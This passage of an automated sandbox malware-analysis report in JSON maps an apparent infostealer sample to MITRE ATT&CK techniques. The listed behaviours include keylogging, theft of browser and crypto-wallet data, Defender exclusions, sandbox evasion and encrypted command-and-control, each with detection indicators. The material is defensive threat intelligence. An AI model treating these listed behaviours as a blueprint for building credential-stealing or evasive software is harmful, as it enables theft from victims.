Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file contains unusual section name"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample possibly contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"suspicious","value":"Calls an API typically used for keylogging"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access Powershell profile file"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Read windows product name from registry"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"suspicious","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"malicious","value":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Tries to steal crypto wallet extension (string)"},{"type":"suspicious","value":"Tries to steal VPN information (file access)"},{"type":"suspicious","value":"Tries to access browsers/wallets sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Queries list of installed browsers"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"},{"type":"malicious","value":"Tries to steal desktop applications information (file access)"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"suspicious","value":"Checks on FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"suspicious","value":"Reads FTP client related files"},{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Drops executable files"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"},{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"Contains indicators of bot communication commands"},{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00005280)\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"FindResourceW\" with parameter \"15115956\" - (UID: 00000000-00005280)\n \"Po.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007212)\n \"Po.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007212)\n \"Po.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007212)\n \"Po.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007212)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"LoadResource with parameter {'hModule': '14942208', 'hResInfo': '15385408'}\" (UID: 00000000-00005280)\n \"Po.exe\" called \"LoadResource with parameter {'hModule': '133234689', 'hResInfo': '133235936'}\" (UID: 00000000-00007212)\n \"Po.exe\" called \"LoadResource with parameter {'hModule': '133234689', 'hResInfo': '133235968'}\" (UID: 00000000-00007212)\n \"Po.exe\" called \"LoadResource with parameter {'hModule': '133234689', 'hResInfo': '133235984'}\" (UID: 00000000-00007212)\n \"Po.exe\" called \"LoadResource with parameter {'hModule': '133234689', 'hResInfo': '133235952'}\" (UID: 00000000-00007212)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"CreateTimerQueueTimer\" (Indicator: \"CreateTimerQueueTimer\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00006620.00000000.141393.72731000.00000020.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00007212.00000000.140864.713A1000.00000020.mdmp, 00000000-00007212.00000000.140864.71441000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007212.00000000.140864.037F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file resource with suspicious entropy","description":"PO.exe has big resource with name: \"kar\" size: \"72192\" and abnormal entropy:\"7.94078179804\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007212.00000000.140864.05710000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007860.00000000.141461.00400000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133577593304012052.6620.DefaultAppDomain.powershell; Source: \"00000000-00006620-00000C52-1221998632\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2a","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2b","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API 